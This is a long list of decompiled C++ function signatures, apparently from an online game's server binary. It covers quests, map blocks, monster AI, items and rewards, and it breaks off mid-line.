KingdomQuestGate::KingdomQuestGateKeeper::erb_happen(KingdomQuestGate::KingdomQuestGateKeeper *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall KingdomQuest::KQElement::kqe_ReviveNumber(KingdomQuest::KQElement *this, char *revivehere); KingdomQuest::KQElement *__thiscall ShineObjectClass::ShinePlayer::sp_MyKQElement(void *this); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownGet(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetBattleStat(); void __thiscall ShineObjectClass::ShinePlayer::sp_KQItemDrop(void *looter); char __thiscall List::l_PushA(List *this, KingdomQuest::KQPlayerInform *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_Clear(List *this); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_DESTROY_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall List::_List(KingdomQuest::KQPlayerInfoList *this); void __thiscall List::l_Clear(List *this); KingdomQuest::KQPlayerInform *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(KingdomQuest::KQPlayerInform *this, List *, unsigned __int16, KingdomQuest::KQPlayerInform *), unsigned __int16 *hnd, KingdomQuest::KQPlayerInform *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_MAKE_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(KingdomQuest::KQPlayerInfoList *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(KingdomQuest::KQPlayerInfoList *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *this, unsigned int), unsigned int plyregnum); int __thiscall ShineObjectClass::ShinePlayer::so_GetBattleStat(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_KQElementFunction(void *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int)); void __thiscall CommonList::CommonList(CommonList *this, int size); char __thiscall List::l_PushA(List *this, KingdomQuest::KQElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void *__thiscall KingdomQuest::KQElement::operator_(void *this, int a2); int __thiscall CommonList::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, KingdomQuest::KQElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, KingdomQuest::KQElement *ele); char __thiscall List::l_PopZ(List *this, KingdomQuest::KQElement *ele); void __thiscall KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(KingdomQuest::KQPlayerInfoList *this); void __thiscall KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this); ItemRandomOption::OptionCountTable *__cdecl std::copy(ItemRandomOption::OptionCountTable *_First, ItemRandomOption::OptionCountTable *_Last, ItemRandomOption::OptionCountTable *_Dest); void __cdecl std::_Uninit_fill_n>(SHINE_XY_TYPE *_First, unsigned int _Count, SHINE_XY_TYPE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__thiscall KQContribute::KQContributeList::kqcl_FindKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); int __thiscall KQContribute::KQContributeList::kqcl_GetMobKill(KQContribute::KQContributeList *this, unsigned int kqhandle, #593 *sp); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerContribute *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L180058(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerContribute _Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, KQContribute::PlayerList *_Val); KQContribute::PlayerList *__cdecl std::_Copy_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__cdecl std::_Copy_backward_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerContribute *_Val); std::vector >::iterator *__cdecl std::remove>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, KQContribute::PlayerList *_Val); void __cdecl std::fill(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Val); KQContribute::PlayerList *__cdecl std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall KQContribute::KQContributeList::kqcl_SendMobKill(KQContribute::KQContributeList *this, unsigned int kqhandle, #593 *sp, int DemandMobKill, int inc); void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerList *_First, unsigned int _Count, KQContribute::PlayerList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerList *_Ptr, unsigned int _Count, KQContribute::PlayerList *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerList *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L182178(int a1); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerList _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, KQContribute::PlayerList *_Val); void __thiscall KQContribute::KQContributeList::kqpl_EndOfKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerList *_Val); void __thiscall KQContribute::KQContributeList::KQContributeList(KQContribute::KQContributeList *this); void __thiscall KQContribute::KQContributeList::kqcl_NewKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall KQRewardDataBox::KQRewardDataBox(KQRewardDataBox *this); void __thiscall KQRewardDataBox::kqrdb_Load(KQRewardDataBox *this, Name4 *world); KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, unsigned __int16 idx); KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, char *idx); void __thiscall SubLayer::SubLayerInteractLoader::slil_Load(SubLayer::SubLayerInteractLoader *this, Name4 *world); char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanSee(int this, int flag); char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanAttack(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_PacketDelayCheckFunction(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_TIMERECORD_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_LinkTo(void *pCaster, int lnkinf, __int16 machine, int cmd_sameserver, int cmd_otherserver); int __thiscall PROTO_NC_CHAR_REVIVEOTHER_CMD::operator_(int this, int a2); void __thiscall WorldManagerSession::wms_NC_MAP_LINKRESERVE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanItemMakeItem(void *this); void __thiscall ItemUseFunction::iuf_Load(ItemUseFunction *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall ShineObjectClass::ShinePlayer::sp_MagicContainerMake(void *this, int iti, char *price); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem(void *this, int itm); void __thiscall ItemConversionMap::icm_Store(ItemConversionMap *this, unsigned __int16 from, unsigned __int16 to); void __thiscall MagicContainer::mc_Load(MagicContainer *this); LCReward *__thiscall CLCReward::clcr_GetRandomLCRewardData(CLCReward *this, unsigned __int16 nLCItemID); void __thiscall ShineObjectClass::ShinePlayer::sp_MakeCapsuleItem(void *this, int iti, int price, int fame, int gbcoin); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall CLCReward::_CLCReward(CLCReward *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CLCReward::LCItemData *_Val); void __thiscall CLCReward::CLCReward(CLCReward *this); void __thiscall CLCReward::clcr_Load(CLCReward *this); void __cdecl StackPrinting(); int __stdcall WinMain(HINSTANCE__ *hInstance, HINSTANCE__ *hPrevInstance, char *lpCmdLine, int nCmdShow); bool __cdecl OnStart_Service(); void __cdecl OnStop_Service(); // idb unsigned int __thiscall MapBlock::MapDoorBlockElement::mdbe_Load(MapBlock::MapDoorBlockElement *this, _iobuf *fp); void __thiscall MapBlock::MapDoorArray::MapDoorArray(MapBlock::MapDoorArray *this); void __thiscall MapBlock::MapBlockInformation::MapBlockInformation(MapBlock::MapBlockInformation *this); void __thiscall MapBlock::MapBlockInformation::_MapBlockInformation(MapBlock::MapBlockInformation *this); char __thiscall MapBlock::MapBlockInformation::mbi_IsAttackBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y); char __thiscall MapBlock::MapBlockInformation::mbi_IsMoveBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y); Name8 *__thiscall MapBlock::MapBlockInformation::mbi_GetDoorBlock_CheckSumData(MapBlock::MapBlockInformation *this); int __thiscall MapBlock::MapBlockInformationBox::__unnamed::__unnamed(int this); void __thiscall MapBlock::MapBlockInformationBox::__unnamed::___unnamed(int this); void __thiscall MapBlock::MapBlockInformationBox::_MapBlockInformationBox(MapBlock::MapBlockInformationBox *this); char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, MapBlock::DoorAction da); void __thiscall MapBlock::MapDoorArray::mda_CloseAllDoor(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinfo); char __thiscall MapBlock::MapBlockInformation::mbi_OccupCellCheck(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y, int range); void __thiscall MapBlock::MapBlockInformationBox::MapBlockInformationBox(MapBlock::MapBlockInformationBox *this); char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, Name8 *doorindex, MapBlock::DoorAction da); char __thiscall MapBlock::MapDoorArray::mda_DoorAction(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinform, Name8 *doorindex, MapBlock::DoorAction da); char __thiscall MapBlock::MapBlockInformation::mbi_DoorAction(MapBlock::MapBlockInformation *this, Name8 *doorindex, MapBlock::DoorAction da); void __thiscall MapBlock::MapDoorArray::mda_Load(MapBlock::MapDoorArray *this, char *mapname); void __thiscall MapBlock::MapBlockInformation::mbi_Load(MapBlock::MapBlockInformation *this, Name3 *mapid, unsigned int *xsize, unsigned int *ysize); MapBlock::MapBlockInformation *__thiscall MapBlock::MapBlockInformationBox::mbib_Load(MapBlock::MapBlockInformationBox *this, Name3 *servmapid, Name3 *clntmapid, unsigned int *xsize, unsigned int *ysize); void __thiscall MapClusterManager::MapCluster::InstanceMap::InstanceMap(MapClusterManager::MapCluster::InstanceMap *this); void __thiscall MapClusterManager::MapCluster::InstanceMap::_InstanceMap(MapClusterManager::MapCluster::InstanceMap *this); void __thiscall MapClusterManager::MapCluster::_MapCluster(MapClusterManager::MapCluster *this); void __thiscall MapClusterManager::MapCluster::mc_Regist(MapClusterManager::MapCluster *this, #1265 *, Name3 *); bool __thiscall MapClusterManager::MapCluster::mc_MissoionFailInstance(MapClusterManager::MapCluster *this, #1265 *, const char *); void __thiscall List::_List(List *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MapClusterManager::ClusterManager::cm_Init(MapClusterManager::ClusterManager *this); void __thiscall MapClusterManager::MapCluster::MapCluster(MapClusterManager::MapCluster *this, char *mapindex); #1265 *__thiscall MapClusterManager::MapCluster::mc_FindEmpty(MapClusterManager::MapCluster *this); int __thiscall MapClusterManager::MapCluster::mc_CompName(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 hnd, MapClusterManager::MapCluster *key); bool __thiscall MapClusterManager::MapCluster::mc_GetLimitTime(MapClusterManager::MapCluster *this, unsigned int *rLimitTime, unsigned int RegisterNumber); char __thiscall MapClusterManager::MapCluster::mc_SetLimitItem(MapClusterManager::MapCluster *this, unsigned int unMiunteTime, unsigned int RegisterNumber); char __thiscall ShineObjectClass::ShinePlayer::so_ply_2JobDungeon(#1265 *, char *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_FirstJobChange(void *this); void __thiscall TownPortalData::TownPortalData(TownPortalData *this); void __thiscall TownPortalData::tpd_Load(TownPortalData *this); TownPortal *__thiscall TownPortalData::operator__(TownPortalData *this, char index); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall List::l_PushA(List *this, MapClusterManager::MapCluster *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall MapClusterManager::MapCluster::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, MapClusterManager::MapCluster *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, MapClusterManager::MapCluster *ele); char __thiscall List::l_PopZ(List *this, MapClusterManager::MapCluster *ele); void __thiscall List::l_Clear(List *this); void __thiscall MapClusterManager::ClusterManager::_ClusterManager(MapClusterManager::ClusterManager *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); #1265 *__thiscall MapClusterManager::ClusterManager::cm_FindEmpty(MapClusterManager::ClusterManager *this, char *clientmapname); bool __thiscall MapClusterManager::ClusterManager::cm_MissoionFailInstance(MapClusterManager::ClusterManager *this, #1265 *, const char *); #1265 *__stdcall ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon(char *mapname); void __thiscall MapClusterManager::ClusterManager::ClusterManager(MapClusterManager::ClusterManager *this); MIDRewardList *__thiscall MIDRewardDataBox::midrdb_GetRewardSetting(MIDRewardDataBox *this, Name3 sMapName); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MIDRewardDataBox::MIDRewardDataBox(MIDRewardDataBox *this); void __thiscall MIDRewardDataBox::midrdb_Load(MIDRewardDataBox *this, Name4 *world); char __thiscall MIDRewardDataBox::midrdb_RewardSetting(MIDRewardDataBox *this, PROTO_NC_MID_MID_MAP_REWARD_CMD *pCmd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MiniHouseEndureDataBox::MiniHouseEndureDataBox(MiniHouseEndureDataBox *this); void __thiscall MiniHouseEndureDataBox::mhe_Load(MiniHouseEndureDataBox *this); int __thiscall MiniHouseEndureDataBox::mhe_CalEndureGrade(MiniHouseEndureDataBox *this, unsigned __int16 nEndureType, ShineDateTime *dEndEndureDate, MHE_STEP *nEndureGrade); MiniHouseObjAniDataBox::AniData *__thiscall MiniHouseObjAniDataBox::mhoadb_GetAniData(MiniHouseObjAniDataBox *this, unsigned __int16 hnd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(MiniHouseObjAniDataBox *this); void __thiscall MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(MiniHouseObjAniDataBox *this); void __thiscall MiniHouseObjAniDataBox::mhoadb_Load(MiniHouseObjAniDataBox *this); SHINE_XY_TYPE *__thiscall DirectDistanceTable::ddt_GetFoward(DirectDistanceTable *this, int sr, int distance, SHINE_XY_TYPE *buffer); int __thiscall MiscDataTable::MiscData_Skill::mds_Init(int this, __int16 skillid); void *__thiscall MiscDataTable::mdt_FindSkillAlways(void *base, __int16 a2); MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_FindAbStateAlways(MiscDataTable *this, unsigned __int16 abstateid); void __thiscall MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(MobExplosionElement::MobExplosionEnemy *this); void __thiscall MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this); void __thiscall MobExplosionElement::MobExplosionTarget::MobExplosionTarget(MobExplosionElement::MobExplosionTarget *this); void __thiscall MobExplosionElement::MobExplosionAlways::MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this); void __thiscall AxialListAggroAdjust::_AxialListAggroAdjust(AxialListAggroAdjust *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SkinPolymorph(int this, __int16 mobid, __int16 AbIndex); void __thiscall ShineObjectClass::ShineServant::sm_TooLongChase(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::sm_serv_VanishReserv(ShineObjectClass::ShineServant *this, int sec); int __cdecl MobAttackSequence::AttackElement4Mob::ae4m_Compare(const void *a, const void *b); void __thiscall MiscDataTable::mdt_StateConditionStore(MiscDataTable *this, MiscDataTable::MiscData_VarifyByAbstate *temp); void __thiscall MiscDataTable::mdt_StateCondition(MiscDataTable *this, OptionReader *miscdata); AbnormalStateContainer::AbstateElementInObject *__thiscall ListTraveler::operator_>(ListTraveler *this); void __thiscall MiscDataTable::mdt_PostSkillBlast(MiscDataTable *this, #615 *, #593 *, unsigned __int16, SHINE_XY_TYPE *); void __thiscall MiscDataTable::mdt_SkillBlast_Summon(MiscDataTable *this, #615 *, #593 *, unsigned __int16, SHINE_XY_TYPE *, MiscDataTable::MiscData_Skill::MDS_MST); void __thiscall ShineObjectClass::ShineServant::so_serv_SetMaster(ShineObjectClass::ShineServant *this, #615 *master); void __thiscall MiscDataTable::mdt_SkillBufferAlloc(void *base, const char *flag); MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_AbStateBufferAlloc(MiscDataTable *this, char *index); void __thiscall MobExplosionElement::MobExplosionBase::meb_Vanish(MobExplosionElement::MobExplosionBase *this, int mob); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Run(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Walk(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attack(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attacked(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(AbnormalStateContainer::AbstateElementInObject *this, CharacterInventory *inven); char __thiscall AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call(AbnormalStateContainer::ListIteratorAbstateEquip *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip(void *this); char __thiscall AxialListAggroAdjust::ali_Work(AxialListAggroAdjust *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust(void *this, int aggrorate, char *range); void __thiscall ShineObjectClass::ShineMob::so_mob_AggroAdjust(#593 *, int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip(void *this, int equipslot); void __thiscall GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); signed int __thiscall ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage(void *this, #593 *a2); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Polymorph(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD(void *this, int netcmd, int len, __int16 handle); char __stdcall ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer(int a1); char __thiscall ShineObjectClass::ShineMob::so_mob_CanBeAttackedByPlayer(void *this, int a2); char __thiscall ShineObjectClass::ShineServant::so_mob_CanBeAttackedByPlayer(ShineObjectClass::ShineServant *this, #734 *ply); void __thiscall ShineObjectClass::ShineMobileObject::smo_SoulManage(#593 *, SkillDataBox::SkillDataIndex *); void __thiscall ShineObjectClass::ShinePlayer::smo_SoulManage(#593 *, SkillDataBox::SkillDataIndex *); int __stdcall ShineObjectClass::ShineMobileObject::smo_HowMachSoul(int sklidx, int soulcollect, int a3); int __thiscall ShineObjectClass::ShinePlayer::smo_HowMachSoul(void *this, int sklidx, int soulcollect, int a4); void __thiscall MiscDataTable::mdt_ArgumentLoad(MiscDataTable *this, EngageArgument *argument); char __stdcall ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute(int condition); int __cdecl ShineObjectClass::ShineObject::so_smo_RangeEvation(); int __thiscall ShineObjectClass::ShineMobileObject::so_smo_RangeEvation(void *this); void __thiscall MiscDataTable::mdt_Polymorph(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_Neutralization(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_AbStateReset(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_SkillBreedMob(MiscDataTable *this, OptionReader *miscdata); char __thiscall MobExplosionElement::MobExplosionBase::meb_Explosion(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob, #615 *misctable); MobTargetSelector *__thiscall MobTargetBout::mts_AggroAdjust(MobTargetBout *this, #593 *, int); void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpTo(void *this, int locate, int sklidx); char __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute(void *this, int condition); void __thiscall MiscDataTable::mdt_Load(MiscDataTable *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpForward(void *this, int sklidx); char __thiscall MobDataBox::mdb_iter_next(MobDataBox *this, unsigned int *pnt); unsigned __int16 __thiscall MobDataBox::mdb_iter_Get(MobDataBox *this, unsigned int *pnt); void __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, int *attacksequenceindex); void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, char *from, char *to, unsigned int value); void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, unsigned int from, char *to, unsigned int value); void __thiscall MobAttackSequence::mas_Append(MobAttackSequence *this, unsigned __int16 mobid); char __thiscall List::l_PushZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::_List(List *this); void __thiscall MobAttackSequence::_MobAttackSequence(MobAttackSequence *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall MobAttackSequence::SkillChangeList::SkillChangeList(MobAttackSequence::SkillChangeList *this); void __thiscall MobAttackSequence::MobAttackSequence(MobAttackSequence *this); void __thiscall MobAttackSequence::mas_Load(MobAttackSequence *this); int __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, #593 *, int *, char); int __thiscall LuaScriptScenario::lss_FuncExec(LuaScriptScenario *this, const char *func, LuaScriptArgument::LuaArgumentDefault *luaarg); void __thiscall FieldMap::fm_FindWayInit(int this); void __thiscall MobActionElement::MobActionElement(MobActionElement *this); void __thiscall MobActionElement::_MobActionElement(MobActionElement *this); void __thiscall MobTargetStruct::MobTargetStruct(MobTargetStruct *this); void __thiscall MobTargetEraser::_MobTargetEraser(MobTargetEraser *this); void __thiscall MobTargetEraser::MobTargetEraser(MobTargetEraser *this); void __thiscall MobTargetSelector::MobTargetSelector(MobTargetSelector *this); void __thiscall MobTargetSelector::_MobTargetSelector(MobTargetSelector *this); char __thiscall MobTargetAggresive::IsIgnoreLevelGap(MobTargetAggresive *this, char Left, char Right); char __thiscall MobTargetAggresive::IsNoAttackAbstate(MobTargetAggresive *this, #593 *obj); char __thiscall MobTargetAggresive::IsNoTargetAbstate(MobTargetAggresive *this, #593 *, #593 *); char __thiscall ShineObjectClass::ShinePlayer::sp_IsPreventAttack(int this); char __thiscall MobTargetAggresiveALL::IsNoAttackAbstate(MobTargetAggresiveALL *this, #593 *obj); int __thiscall ShineObjectClass::ShineMob::so_mob_CurSelectWeapon(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_SetMobResist(void *this, int memval, __int16 nVal); int __thiscall ShineObjectClass::ShineObject::so_mob_SelectWeapon(#593 *this, #593 *, char); int __thiscall ShineObjectClass::ShineMob::sm_PrepareWeapon(int this, int MaxWC, int MinWC, unsigned __int16 TH, int MaxMA, int MinMA, unsigned __int16 MH); void *__thiscall MobActionElement::_vector_deleting_destructor_(MobActionElement *this, unsigned int); void *__thiscall MobTargetSelector::_scalar_deleting_destructor_(MobTargetSelector *this, unsigned int); char __thiscall MobTargetAggresive::ali_Work(MobTargetAggresive *this, #593 *, #593 *, unsigned int); char __thiscall MobTargetAggresive2::ali_Work(MobTargetAggresive2 *this, #593 *, #593 *, unsigned int); char __thiscall MobTargetHasDisposition::ali_Work(MobTargetHasDisposition *this, #593 *, #593 *, unsigned int); int __thiscall ShineObjectClass::ShineObject::so_AIScriptFuncExec(void *this, const char *func, char *arg); int __thiscall ShineObjectClass::ShineObject::so_AIScriptFuncExec(void *this, const char *func, LuaScriptArgument::LuaArgumentDefault *a); int __cdecl ShineObjectClass::ShineObject::so_mob_GetMonEXP(); int __thiscall ShineObjectClass::ShineMob::so_mob_GetMonEXP(void *this); void __stdcall ShineObjectClass::ShineObject::so_mob_SetMobResist(int memval, __int16 nVal); void __stdcall ShineObjectClass::ShineObject::so_mob_SetEnemyDetect(int EnemyDetectType); void __thiscall ShineObjectClass::ShineMob::so_mob_SetEnemyDetect(void *this, int EnemyDetectType); void __thiscall ShineObjectClass::ShineMob::so_mob_SetEnemyDetect(void *this, int EnemyDetectType); void __stdcall ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide(int IsPlayerSide); void __thiscall ShineObjectClass::ShineMob::so_mob_SetIsPlayerSide(void *this, int IsPlayerSide); void __thiscall ShineObjectClass::ShineMob::so_mob_IsItemDropSetAtScript(void *this, char bIsItemDrop); MobActionElement *__thiscall MobActionElement::mae_Action(MobActionElement *this, unsigned __int16 hnd, MobBrainStruct *mob); int __thiscall MobTargetStruct::operator_(int this, int a2); #593 *__thiscall MobTargetBout::mts_GetTopAggroTarget(MobTargetBout *this, #593 *pMob); #593 *__thiscall MobTargetAggresive::mts_GetTopAggroTarget(MobTargetAggresive *this, #593 *pMob); #593 *__thiscall MobTargetAggresiveALL::mts_GetTopAggroTarget(MobTargetAggresiveALL *this, #593 *pMob); #593 *__thiscall MobTargetHasDisposition::mts_GetTopAggroTarget(MobTargetHasDisposition *this, #593 *pMob); void __thiscall MobTargetAggresiveALL::mts_SelectTarget(MobTargetAggresiveALL *this, #593 *mob); int __thiscall ShineObjectClass::ShineObject::so_AIScriptFuncExec(void *this, int func, LuaScriptArgument::LuaArgumentDefault *arg); int __thiscall ShineObjectClass::ShineMob::sm_GetUseWeaponRate(int this, unsigned int nIndex); char __thiscall ShineObjectClass::ShineObject::so_LuaFunctionSet(void *this, int member, const char *func); signed int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript(void *this, unsigned __int8 next); int __thiscall 